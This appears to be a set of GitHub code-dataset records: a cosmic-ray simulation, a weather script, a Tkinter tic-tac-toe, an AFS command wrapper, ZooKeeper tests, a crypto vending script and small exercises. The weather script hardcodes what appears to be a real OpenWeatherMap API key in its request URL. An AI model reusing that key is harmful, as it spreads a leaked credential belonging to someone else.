hits\n\n\nclass Rect:\n    # axis\n    # 0 : xy\n    # 1 : xz\n    # 2 : yz\n    def __init__(self, x0: float, x1: float, y0: float, y1: float, z: float, axis: int):\n        self.x0 = x0\n        self.x1 = x1\n        self.y0 = y0\n        self.y1 = y1\n        self.z = z\n        self.axis = axis\n\n    def inspect_intersection(self, origins, directions):\n        if self.axis == 0:\n            xi = 0\n            yi = 1\n            zi = 2\n        elif self.axis == 1:\n            xi = 0\n            yi = 2\n            zi = 1\n        elif self.axis == 2:\n            xi = 1\n            yi = 2\n            zi = 0\n\n        ts = (self.z - origins[:, zi]) / directions[:, zi]\n\n        hit_point = np.empty(origins.shape)\n        hit_point[:, xi] = origins[:, xi] + directions[:, xi] * ts\n        hit_point[:, yi] = origins[:, yi] + directions[:, yi] * ts\n        hit_point[:, zi] = np.full(origins.shape[0], self.z)\n\n        hit_point[~((self.x0 < hit_point[:, xi]) & (hit_point[:, xi] < self.x1)\n                    &\n                    (self.y0 < hit_point[:, yi]) & (hit_point[:, yi] < self.y1))] = np.full(3, np.nan)\n\n        return hit_point\n\n\ndef decays_all(lengths, alivenesses, kinds):\n\n    selector = (kinds < PROPORTION_MUON)\n    r = np.exp(-(lengths[selector] * 100)**2 / (2 * 111**2))\n    alivenesses[selector] = np.random.uniform(\n        size=np.count_nonzero(selector)) < r\n\n    selector = (PROPORTION_MUON <= kinds) & (\n        kinds < PROPORTION_MUON + PROPORTION_ELECTRON)\n    r = np.exp(-((2300000 * lengths[selector]) /\n                 ((0.01/1.5*10**6)**1.2-115))**3.3)\n    alivenesses[selector] = np.random.uniform(\n        size=np.count_nonzero(selector)) < r\n\n    selector = (PROPORTION_MUON + PROPORTION_ELECTRON <= kinds) & (\n        kinds < PROPORTION_MUON + PROPORTION_ELECTRON + PROPORTION_GAMMA_RAY)\n    r = 10 ** (- 100 * lengths[selector] / 190)\n    alivenesses[selector] = np.random.uniform(\n        size=np.count_nonzero(selector)) < r\n\n    return alivenesses\n\n\ndef build_origins(num_points, base_point, creation_distance=1000000, rand_max=1, angle_max=None):\n    if angle_max is not None:\n        rand_max = np.math.acos(\n            np.sqrt(1 - (2 / np.pi * angle_max))) / (np.pi / 2)\n\n    angles = np.pi/2 * \\\n        (1 - np.cos(np.pi/2 * np.random.uniform(0, rand_max, num_points))**2)\n    thetas = np.random.rand(num_points) * 2 * np.pi\n\n    return base_point + np.stack([\n        np.cos(thetas) * np.sin(angles) * creation_distance,\n        np.sin(thetas) * np.sin(angles) * creation_distance,\n        np.cos(angles) * creation_distance,\n    ], axis=1)\n\n\ndef build_destinations(num_points, target_point, radius):\n    thetas = np.random.rand(num_points) * 2 * np.pi\n    rs = np.random.rand(num_points) * radius\n    return np.array(target_point) + np.stack([\n        rs * np.cos(thetas),\n        rs * np.sin(thetas),\n        np.zeros(num_points),\n    ], axis=1)\n","repo_name":"kazzix14/assignments","sub_path":"cosmic-ray/sim_prelude.py","file_name":"sim_prelude.py","file_ext":"py","file_size_in_byte":5884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23625146473","text":"import requests\nimport os\nimport time\nfrom datetime import datetime\n\n# City request\ncity = input(\"Enter the city name: \")\n\n#api authoruzation\napi = \"https://api.openweathermap.org/data/2.5/weather?q=\"+city+\"&appid=b74fbea137c6b26d931ae7ab48e59c38\"\n#apa = \"https://api.openweathermap.org/data/2.5/forecast/daily?q=\"+city+\"&cnt=7&appid={API key}\"\n#conditions    \njson_data = requests.get(api).json()\ncondition = json_data['weather'][0]['main']\n\n# data from the api \ntemp = int(json_data['main']['temp'] - 273.15)\nmin_temp = int(json_data['main']['temp_min'] - 273.15)\nmax_temp = int(json_data['main']['temp_max'] - 273.15)\nweather_desc = json_data['weather'][0]['description']\npressure = json_data['main']['pressure']\nhumidity = json_data['main']['humidity']\nwind = json_data['wind']['speed']\nsunrise = time.strftime('%I:%M:%S', time.gmtime(json_data['sys']['sunrise'] - 21600))\nsunset = time.strftime('%I:%M:%S', time.gmtime(json_data['sys']['sunset'] - 21600))\n\ndate_time = datetime.now().strftime(\"%d %b %Y | %I:%M:%S %p\")\n\n\n\nprint (\"-------------------------------------------------------------\")\nprint (\"Weather Stats for - {}  || {}\".format(city.upper(), date_time))\nprint (\"-------------------------------------------------------------\")\n\n\nprint (\"Current temperature is: {:.2f} C°\".format(temp))\nprint (\"The minimum temperature could be: {:.2f} C°\".format(min_temp))\nprint (\"The max temperature could be: {:.2f} C°\".format(max_temp))\nprint (\"Current weather desc: \",weather_desc)\nprint (\"Current pressure: \",pressure)\nprint (\"Current Humidity: \",humidity, '%')\nprint (\"Current wind speed: \",wind ,'kmph')\nprint (\"The sunrise will be at: \", sunrise)\nprint (\"The sunset will be at :\",sunset)\n\n\n","repo_name":"Nicolasmayorga/weather_in_real_time","sub_path":"weather2.py","file_name":"weather2.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"19251502309","text":"arquivo = open('pessoas.csv')\n\n# nesse exemplo os dados são lidos dinâmicamente  stream,\ntry:\n    for registro in arquivo:\n\n        # separa os texto de cada linha usando a , usa o operador * para passar cada texto para os respectivos {}\n        # adicionamos strip para retirar espaços em brancos, podemos passar para o split oq queremos tirar tbm\n        print('Nome: {}, Idade: {}'.format(*registro.strip().split(',')))\nfinally:\n    arquivo.close\n","repo_name":"AlexandreSkal/python_study","sub_path":"manipulacao_arquivos/io_v2.py","file_name":"io_v2.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"41892936564","text":"from django.core.management.base import BaseCommand, CommandError\nfrom applications import models\nimport csv\nimport easypost\nfrom time import sleep\nfrom django.conf import settings\nfrom app import settings as app_settings\neasypost.api_key = app_settings.EASYPOST_KEY\n\n\nclass Command(BaseCommand):\n    help = 'Prints verified addresses for users'\n\n    def handle(self, *args, **options):\n        self.stdout.write('Gathering verified addresses...')\n\n        confirmed_applicants = (models.Application.objects.filter(status='C') | models.Application.objects.filter(\n            status='A') | models.Application.objects.filter(status='I'))\n\n        with open(settings.EXPORT_FILES_URL + 'verified_apps.csv', 'w') as verified_csv:\n            csv_writer = csv.writer(verified_csv, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n            csv_writer.writerow(['Name', 'Email', 'Street', 'City', 'State', 'Zip', 'Country'])\n\n            for app in confirmed_applicants:\n                country = 'CA' if app.uniemail and '.ca' in app.uniemail else 'US'\n                try:\n                    address = easypost.Address.create(\n                        verify=['delivery'],\n                        street1=app.address_line,\n                        street2=app.address_line_2,\n                        city=app.city,\n                        state=app.state,\n                        zip=app.zip_code,\n                        country=country\n                    )\n                    if address.verifications.delivery.success:\n                        street = app.address_line + (\" \" + app.address_line_2 if app.address_line_2 else '')\n                        res = [app.user.name, app.user.email, street, app.city, app.state, app.zip_code, country]\n                        csv_writer.writerow(res)\n                except easypost.Error as e:\n                    e_json = e.json_body\n                    if 'error' in e_json:\n                        code = e_json['error']['code'] if 'code' in e_json['error'] else e_json\n                        if code == 'RATE_LIMITED':\n                            self.stdout.write(self.style.WARNING('Rate limited, sleeping...'))\n                            sleep(60)\n                        else:\n                            self.stdout.write(self.style.ERROR(code))\n\n        self.stdout.write(self.style.SUCCESS(\n            'Finished gathering verified addresses! Check out the csv file called verified_apps under /files!'))\n","repo_name":"ugahacks/myugahacks","sub_path":"applications/management/commands/get_verified_addresses.py","file_name":"get_verified_addresses.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"40668642157","text":"import contextlib\n\nfrom kazoo import exceptions as kazoo_exceptions\nfrom oslo_utils import uuidutils\nimport testtools\nfrom zake import fake_client\n\nfrom taskflow import exceptions as exc\nfrom taskflow.persistence import backends\nfrom taskflow.persistence.backends import impl_zookeeper\nfrom taskflow import test\nfrom taskflow.tests.unit.persistence import base\nfrom taskflow.tests import utils as test_utils\nfrom taskflow.utils import kazoo_utils\n\nTEST_PATH_TPL = '/taskflow/persistence-test/%s'\n_ZOOKEEPER_AVAILABLE = test_utils.zookeeper_available(\n    impl_zookeeper.MIN_ZK_VERSION)\n\n\ndef clean_backend(backend, conf):\n    with contextlib.closing(backend.get_connection()) as conn:\n        try:\n            conn.clear_all()\n        except exc.NotFound:\n            pass\n    client = kazoo_utils.make_client(conf)\n    client.start()\n    try:\n        client.delete(conf['path'], recursive=True)\n    except kazoo_exceptions.NoNodeError:\n        pass\n    finally:\n        kazoo_utils.finalize_client(client)\n\n\n@testtools.skipIf(not _ZOOKEEPER_AVAILABLE, 'zookeeper is not available')\nclass ZkPersistenceTest(test.TestCase, base.PersistenceTestMixin):\n    def _get_connection(self):\n        return self.backend.get_connection()\n\n    def setUp(self):\n        super(ZkPersistenceTest, self).setUp()\n        conf = test_utils.ZK_TEST_CONFIG.copy()\n        # Create a unique path just for this test (so that we don't overwrite\n        # what other tests are doing).\n        conf['path'] = TEST_PATH_TPL % (uuidutils.generate_uuid())\n        try:\n            self.backend = impl_zookeeper.ZkBackend(conf)\n        except Exception as e:\n            self.skipTest(\"Failed creating backend created from configuration\"\n                          \" %s due to %s\" % (conf, e))\n        else:\n            self.addCleanup(self.backend.close)\n            self.addCleanup(clean_backend, self.backend, conf)\n            with contextlib.closing(self.backend.get_connection()) as conn:\n                conn.upgrade()\n\n    def test_zk_persistence_entry_point(self):\n        conf = {'connection': 'zookeeper:'}\n        with contextlib.closing(backends.fetch(conf)) as be:\n            self.assertIsInstance(be, impl_zookeeper.ZkBackend)\n\n\n@testtools.skipIf(_ZOOKEEPER_AVAILABLE, 'zookeeper is available')\nclass ZakePersistenceTest(test.TestCase, base.PersistenceTestMixin):\n    def _get_connection(self):\n        return self._backend.get_connection()\n\n    def setUp(self):\n        super(ZakePersistenceTest, self).setUp()\n        conf = {\n            \"path\": \"/taskflow\",\n        }\n        self.client = fake_client.FakeClient()\n        self.client.start()\n        self._backend = impl_zookeeper.ZkBackend(conf, client=self.client)\n        conn = self._backend.get_connection()\n        conn.upgrade()\n\n    def test_zk_persistence_entry_point(self):\n        conf = {'connection': 'zookeeper:'}\n        with contextlib.closing(backends.fetch(conf)) as be:\n            self.assertIsInstance(be, impl_zookeeper.ZkBackend)\n","repo_name":"openstack/taskflow","sub_path":"taskflow/tests/unit/persistence/test_zk_persistence.py","file_name":"test_zk_persistence.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"38"}
{"seq_id":"38076531184","text":"'''Напишите программу, которая считывает целые числа с консоли по одному числу в строке.\n\nДля каждого введённого числа проверить:\nесли число меньше 10, то пропускаем это число;\nесли число больше 100, то прекращаем считывать числа;\nв остальных случаях вывести это число обратно на консоль в отдельной строке.'''\ndigits = 1\nwhile digits != 0:\n    digits = int(input())\n    if digits < 10:\n        continue\n    if digits > 100:\n        break\n    print(digits)\n\n'''\nИнтересный вариант решения, где все результаты выводятся в некст строчке\nb = ''\n\nwhile True:\n    a = int(input())\n    if a < 10:\n        continue\n    elif a > 100:\n        break\n    else:\n        b = b + str(a) + '\\n' #Получается при первой итерации цикла мы к пустой строке прибавляем число введенное и переведенное в строку, вторая итерация это уже прибавление к результату первой итерации и тд\nprint (b)\n'''","repo_name":"Daniil-T/Python-Learn","sub_path":"Tasks_on_the_first_course/task10_operators_break_continue.py","file_name":"task10_operators_break_continue.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"22560527865","text":"# Problem Statement\n#\n# When evaluating a mathematical expression, there is the possibility of ambiguity. If you wanted to know the result of \"3 + 5 * 7\", you might first evaluate the (3+5) and get 56, or first evaluate the (5*7) and get 38. This ambiguity can be resolved by using the order of operations: first do multiplication and division (from left to right), and then after all those are done, do addition and subtraction (again from left to right). Here, the correct result would be the 38.\n# While this is unambiguous, it certainly is somewhat annoying. You think it would be easier if people did all math from left to right, all the time, and want to make a simple expression evaluator to do so.\n# The expression will be given to you as a string expr. It will consist of one digit numbers (0 through 9) alternating with operators (+, -, or *), with no spaces between them. Thus, expr would follow the format Digit Operator Digit Operator .... Digit. For example, the expression given above would be given as \"3+5*7\".\n# Your method should return an int representing the value of the expression when evaluated from left to right.\n# Definition\n#\n# Class:\n# NoOrderOfOperations\n# Method:\n# evaluate\n# Parameters:\n# string\n# Returns:\n# integer\n# Method signature:\n# def evaluate(self, expr):\n\n##Server was not working for grading - invalid points\n#(does accept my answer now, though)\n#Successful on first try!\nclass NoOrderOfOperations(object):\n    def evaluate(self, expr):\n        val = int(expr[0])\n        operator = \"\"\n\n        if(len(expr)!=1):\n            for item in expr[1:]:\n                try:\n                    isinstance(int(item), int)\n                    if(operator==\"+\"):\n                        val+=int(item)\n                    elif(operator==\"-\"):\n                        val-=int(item)\n                    elif(operator==\"*\"):\n                        val*=int(item)\n                    elif(operator==\"/\"):\n                        val/=int(item)\n                except:\n                    operator = item\n\n        return val\n\n\n\n\n\ntest = NoOrderOfOperations()\n\nprint(test.evaluate(\"1*2*3*4*5*6*7*8*9\"))\n","repo_name":"Gendo90/topCoder","sub_path":"0-300 pts/topcoderNoOrderOfOperations.py","file_name":"topcoderNoOrderOfOperations.py","file_ext":"py","file_size_in_byte":2133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"33234429127","text":"def 최대공약수(A, B):\n  if B == 0:\n    return A\n  else:\n    return 최대공약수(B, A%B)\n  \ndef 최소공배수(A, B):\n  result = (A*B) // 최대공약수(A,B)\n  return result\n\nT = int(input())\n\nfor i in range(T):\n  A, B = map(int, input().split())\n  print(최소공배수(A, B))","repo_name":"good-jinu/codingtest-study","sub_path":"Hyunjin/BOJ/Python 배우기/[BOJ]_최소공배수/[BOJ]_최소공배수.py","file_name":"[BOJ]_최소공배수.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"8659732157","text":"from tkinter import *\n \nroot = Tk()\nroot.geometry(\"430x510\")\nroot.title(\"Tic Tac Toe GUI\")\n \n# x is going to start the game - that is computer\n \ngameOver = False\n \nboard = {   1:\" \" , 2:\" \" , 3:\" \" ,\n            4:\" \" , 5:\" \" , 6:\" \" ,\n            7:\" \" , 8:\" \" , 9:\" \" }\n \nbuttons = {1:False, 2:False, 3:False, 4:False, 5:False, 6:False , 7:False , 8:False , 9:False}\n \n# function to show heading / winner / draw / result\n \ndef showHeading():\n    turnLabel = Label(root , text=f\" TIC TAC TOE\" , font=(\"Arial\" , 30) , bg=\"yellow\" , relief=SUNKEN , borderwidth=10)\n    turnLabel.grid(row = 0 , column=0 , columnspan=3)\n \nshowHeading()\n \ndef computerMoveGUI(position):\n    if position == 1:\n        grid1[\"text\"] = \"X\"\n        \n    elif position == 2 :\n        grid2[\"text\"] = \"X\"\n        \n    elif position == 3 :\n        grid3[\"text\"] = \"X\"\n        \n    elif position == 4 :\n        grid4[\"text\"] = \"X\"\n        \n    elif position == 5 :\n        grid5[\"text\"] = \"X\"\n        \n    elif position == 6 :\n        grid6[\"text\"] = \"X\"\n        \n    elif position == 7 :\n        grid7[\"text\"] = \"X\"\n        \n    elif position == 8 :\n        grid8[\"text\"] = \"X\"\n        \n    elif position == 9 :\n        grid9[\"text\"] = \"X\"\n \n# function to change the text of the button\n \ndef play(event):\n    if gameOver:\n        return\n    grid = event.widget\n    gridString = str(grid)\n    gridNumber = gridString[-1]\n    buttonNumber = 0\n    if gridNumber == \"n\":\n        buttonNumber = 1\n    else :\n        buttonNumber = int(gridNumber)\n \n    print(buttonNumber)\n    if not buttons[buttonNumber]:\n        grid[\"text\"] = \"O\"\n        insertValue(buttonNumber , player)\n        buttons[buttonNumber] = True\n        \n        # computers turn \n        \n        buttonNumber = computerMove()\n        computerMoveGUI(buttonNumber)\n    \n \n# ------------------------------ GUI BOARD---------------------------------\n \n# first row\n \ngrid1 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid1.grid(row=1 , column=0)\ngrid1.bind(\"<Button-1>\" , play)\n \ngrid2 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid2.grid(row=1 , column=1)\ngrid2.bind(\"<Button-1>\" , play)\n \ngrid3 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid3.grid(row=1 , column=2)\ngrid3.bind(\"<Button-1>\", play)\n \n \n# second row\n \ngrid4 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid4.grid(row=2 , column=0)\ngrid4.bind(\"<Button-1>\", play)\n \ngrid5 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid5.grid(row=2 , column=1)\ngrid5.bind(\"<Button-1>\", play)\n \ngrid6 = Button(root , text=\" \", bg=\"yellow\" ,height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid6.grid(row=2 , column=2)\ngrid6.bind(\"<Button-1>\", play)\n \n \n# third row\n \ngrid7 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid7.grid(row=3 , column=0)\ngrid7.bind(\"<Button-1>\", play)\n \ngrid8 = Button(root , text=\" \", bg=\"yellow\" ,height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid8.grid(row=3 , column=1)\ngrid8.bind(\"<Button-1>\", play)\n \ngrid9 = Button(root , text=\" \", bg=\"yellow\" , height=1 , width=3 , relief = RAISED , borderwidth = 10 , font=(\"Arial\" , 50))\ngrid9.grid(row=3 , column=2)\ngrid9.bind(\"<Button-1>\", play)\n \n# -------------------- TIC TAC TOE -------------------------------\n \nplayer = \"O\"\ncomputer = \"X\"\n \ndef spaceIsFree(position):\n    return board[position] == \" \" \n \ndef checkWhoWin(value):\n    if board[1] == board[2] and board[1] == board[3] and board[1] == value:\n        return True\n    elif (board[4] == board[5] and board[4] == board[6] and board[4] == value):\n        return True\n    elif (board[7] == board[8] and board[7] == board[9] and board[7] == value):\n        return True\n    elif (board[1] == board[4] and board[1] == board[7] and board[1] == value):\n        return True\n    elif (board[2] == board[5] and board[2] == board[8] and board[2] == value):\n        return True\n    elif (board[3] == board[6] and board[3] == board[9] and board[3] == value):\n        return True\n    elif (board[1] == board[5] and board[1] == board[9] and board[1] == value):\n        return True\n    elif (board[7] == board[5] and board[7] == board[3] and board[7] == value):\n        return True\n    else:\n        return False\n \ndef checkForDraw():\n    for key in board.keys() :\n        if board[key] == \" \" :\n            return False \n        \n    return True\n                    \ndef insertValue(position , value):\n    global gameOver\n    if spaceIsFree(position):\n        board[position] = value\n    else :\n        pass\n    \n    if checkWhoWin(computer) :\n        headingLabel = Label(root , text=f\"Computer / X wins\" , font=(\"Arial\" , 30) , bg=\"yellow\" , relief=SUNKEN , borderwidth=10)\n        headingLabel.grid(row = 0 , column=0 , columnspan=3)\n        gameOver = True\n        \n    elif checkWhoWin(player):\n        headingLabel = Label(root , text=f\"You / O wins\" , font=(\"Arial\" , 30) , bg=\"yellow\" , relief=SUNKEN , borderwidth=10)\n        headingLabel.grid(row = 0 , column=0 , columnspan=3)\n        gameOver = True\n      \n        \n    elif checkForDraw():\n        headingLabel = Label(root , text=f\"___Game Draw___\" , font=(\"Arial\" , 30) , bg=\"yellow\" , relief=SUNKEN , borderwidth=10)\n        headingLabel.grid(row = 0 , column=0 , columnspan=3)\n        gameOver = True\n    \n    else :\n        pass\n    \ndef minimax(board , isMaximizing):\n    \n    if checkWhoWin(computer):\n        return 1\n    \n    elif checkWhoWin(player):\n        return -1\n    \n    elif checkForDraw():\n        return 0\n    \n    if isMaximizing :\n        bestScore = -100\n        for key in board.keys():\n            if board[key] == \" \":\n                board[key] = computer \n                score = minimax(board , False)\n                board[key] = \" \"\n                if score > bestScore :\n                    bestScore = score\n        \n        return bestScore \n    \n    else :\n        bestScore = 100\n        for key in board.keys():\n            if board[key] == \" \" :\n                board[key] = player \n                score = minimax(board , True)\n                board[key] = \" \"\n                if score < bestScore :\n                    bestScore = score\n                    \n        return bestScore\n \ndef computerMove():\n    bestScore = -100\n    bestMove = 0\n    \n    for key in board.keys() :\n        if board[key] == \" \" :\n            board[key] = computer\n            score = minimax(board , False)\n            board[key] = \" \"\n            if score > bestScore :\n                bestScore = score \n                bestMove = key\n                \n    insertValue(bestMove , computer)\n    return bestMove\n            \ncomputerMoveGUI(computerMove())\n \nroot.mainloop()\n","repo_name":"Bhavneet5102001/Tic-Tac-Toe-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4505266572","text":"import types,string\nfrom afs.lla.BaseLLA import BaseLLA, exec_wrapper\nimport FileSystemLLAParse as PM\n\nclass FileSystemLLA(BaseLLA) :\n    \"\"\"\n    low level access to the FileSystem\n    ATM this requires a cache-manager, since most of \n    it is done through an AFS-path\n    \"\"\"\n\n    def __init__(self) :\n        BaseLLA.__init__(self)\n        return\n\n\n    @exec_wrapper\n    def copyACL(self, fromdir, todir, clear=False,  _cfg=None) :\n        CmdList=[_cfg.binaries[\"fs\"],  \"copyacl\" , \"-fromdir\" , \"%s\" % fromdir, \"-todir\", \"%s\" % todir ]\n        if clear :\n            CmdList.append(\"-clear\")\n        return CmdList,PM.copyACL\n\n\n    @exec_wrapper\n    def makeMountpoint(self, path, target, toRW=False, _cfg=None) :\n        CmdList=[_cfg.binaries[\"fs\"],  \"mkmount\" , \"-dir\" , \"%s\" % path, \"-vol\", \"%s\" % target, \"-cell\",  \"%s\" % _cfg.cell ]\n        if toRW :\n            CmdList.append(\"-rw\")\n        return CmdList,PM.makeMountpoint\n        \n    @exec_wrapper\n    def removeMountpoint(self, pathlist, _cfg=None) :\n        if type(pathlist) == types.ListType :\n            pathes = string.join(pathlist)\n        else :\n            pathes = pathlist\n        CmdList=[_cfg.binaries[\"fs\"],  \"rmmount\" , \"-dir\" , \"%s\" % pathes ]\n        return CmdList,PM.removeMountpoint\n        \n    @exec_wrapper\n    def listMountpoint(self, pathlist, _cfg=None):\n        \"\"\"\n        Return target volume of a mount point\n        \"\"\"\n        if type(pathlist) == types.ListType :\n            pathes = string.join(pathlist)\n        else :\n            pathes = pathlist\n        CmdList=[_cfg.binaries[\"fs\"],  \"lsmount\" , \"-dir\" , \"%s\" % pathes ]\n        return CmdList,PM.listMountpoint\n        \n    @exec_wrapper\n    def getCellByPath(self, path, _cfg=None):\n        \"\"\"\n        Returns the cell to which a file or directory belongs\n        \"\"\"\n        CmdList=[_cfg.binaries[\"fs\"],  \"whichcell\" , \"-path\" , \"%s\" % path ]\n        return CmdList,PM.getCellByPath\n        \n    @exec_wrapper\n    def setQuota(self, path, quota, _cfg=None):\n        \"\"\"\n        Set a volume-quota by path\n        \"\"\"\n        CmdList=[_cfg.binaries[\"fs\"],  \"setquota\" , \"-path\" , \"%s\" % path, \"-max\", \"%s\" % quota ]\n        return CmdList,PM.setQuota\n        \n    @exec_wrapper\n    def listQuota(self, path, _cfg=None):\n        \"\"\"\n        list a volume quota by path\n        \"\"\"\n        CmdList=[_cfg.binaries[\"fs\"],  \"listquota\" , \"-path\" , \"%s\" % path ]\n        return CmdList,PM.listQuota\n    \n    @exec_wrapper\n    def returnVolumeByPath(self, pathlist, _cfg=None):\n        \"\"\"\n        Basically a fs examine\n        \"\"\"\n        if type(pathlist) == types.ListType :\n            pathes = string.join(pathlist)\n        else :\n            pathes = pathlist\n        CmdList=[_cfg.binaries[\"fs\"],  \"examine\" , \"-path\" , \"%s\" % pathes ]\n        return CmdList,PM.returnVolumeByPath\n        \n","repo_name":"openafs-contrib/afspy","sub_path":"afs/util/FileSystemLLA.py","file_name":"FileSystemLLA.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"32719414954","text":"import csv\n\n#La letra r, es de lectura\n#La letra a, append, concatenar\n#La letra w, es sobre escribir o crear\n\ndoc = open (\"archivoB.csv\",\"r\")\n\ndoc_csv = csv.reader(doc)\n\nfor (nombre, numero) in doc:\n#Deberia usarse print nombre, numero segun el curso, pero hay problemas\n    print (nombre, numero)\n\ndoc.close()\n\n#Hay un error en el for del read, asociado a la version 3 y no 2 de Python que se esta utilizando","repo_name":"iNouvellie/python-avanzado","sub_path":"03_CSV/03_LeerCSV.py","file_name":"03_LeerCSV.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11791978952","text":"import os\nimport time\n\nfrom communicator import IoTEOSCommunicator\nfrom eoscrypto import EOSCryptoAccount\nfrom vmachine import VMachine\n\nprice = [{'code': 'eosio.token', 'symbol': 'EOS', 'amount': 0.5639},\n         {'code': 'eosio.token', 'symbol': 'JUNGLE', 'amount': 50}]\n# price = [{'code': 'eosio.token', 'symbol': 'EOS', 'amount': 0.5639},\n#          {'code': 'eosio.token', 'symbol': 'JUNGLE', 'amount': 50},\n#          {'code': 'winecustomer', 'symbol': 'KNYGA', 'amount': 50}]\n\nshare_agreement = {'wealthytiger': 0.4, 'cryptotexty1': 0.4, 'destitutecat': 0.2}\n# vendor account - 'wealthytiger'  vendor part - 40% * income\n# landlord account - 'cryptotexty1'  landlord part - 40% * income\n# support account - 'destitutecat' support part - 20% * income - 0.0001 EOS\n\nbartender_account = EOSCryptoAccount('wealthysnake',\n                                     'http://jungle.atticlab.net:8888',\n                                     'https://junglehistory.cryptolions.io',\n                                     os.environ['WINE_VENDOR_PRIVAT_KEY'], price)\n\n# topic_sub = 'cryptobartender/state/device_name'\n# topic_pub = 'cryptobartender/ctl/device_name'\nbartender_device0001 = VMachine('device0001', os.environ['WINE_VENDOR_MQTT_HOST'],\n                                1883, os.environ['WINE_VENDOR_MQTT_USER'],\n                                os.environ['WINE_VENDOR_MQTT_PASSWORD'],\n                                'cryptobartender/state', 'cryptobartender/ctl')\n\nbartender = IoTEOSCommunicator(bartender_account, bartender_device0001)\n\nwhile True:\n    income = bartender.sell_goods_according_to_price(price)\n    time.sleep(0.1)\n    if income:\n        bartender.share_income_according_to_agreement(income, share_agreement)\n","repo_name":"VyacheslavKorotach/crypto_bartender","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23550644140","text":"#coding=utf-8\nimport unittest,json\nfrom public.export import export_test\nfrom public.search import pages_turning,get_rd_value,public_post\nfrom public.login_test_brand import login_test_brand\nfrom public.reader_csv import reader_text\n\n\nstore_id = reader_text(r\"\\data\\store_id.txt\")\n\nclass Email(unittest.TestCase):\n    @classmethod\n    def setUpClass(cls):\n        # 登录会员系统后台获取token\n        cls.token = login_test_brand(store_id)\n\n    def test_01search_by_email(self):\n        '''邮箱查询'''\n        rd_to_email = get_rd_value(\"/api/admin/email/list\",store_id,self.token,\"to_email\")\n        data = {\"store_id\": store_id,\"page_size\": 10,\"page\": 1,\"operator\":\"sunny_hong\",\n                \"token\": self.token, \"account\": rd_to_email}\n        result = public_post(\"/api/admin/email/list\", data)\n        # print(result)\n        assert json.loads(result)[\"msg\"] == \"ok\"\n        # assert len(json.loads(result)[\"data\"][\"data\"]) > 0\n\n    def test_02search_by_ctime(self):\n        '''邮件发送时间查询'''\n        rd_ctime = get_rd_value(\"/api/admin/email/list\", store_id, self.token, \"ctime\")\n        data = {\"store_id\": store_id, \"page_size\": 10, \"page\": 1, \"operator\": \"sunny_hong\",\n                \"token\": self.token, \"account\": \"\", \"start_time\": rd_ctime, \"end_time\": rd_ctime}\n        result = public_post(\"/api/admin/email/list\", data)\n        # print(result)\n        assert json.loads(result)[\"msg\"] == \"ok\"\n        # assert len(json.loads(result)[\"data\"][\"data\"]) > 0\n\n    # def test_03export(self):\n    #     '''导出'''\n    #     result = export_test(\"/api/admin/email/export\", self.token, store_id)\n    #     self.assertEqual(\"export success\", result)\n\n    def test_04page_turning(self):\n        '''翻页'''\n        result = pages_turning(\"/api/admin/email/list\", store_id, self.token)\n        self.assertEqual(\"pages turning success\", result)\n\n    @classmethod\n    def tearDownClass(cls):\n        pass\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"sunnyhong123/test_api","sub_path":"test_case/test_08Email_management.py","file_name":"test_08Email_management.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
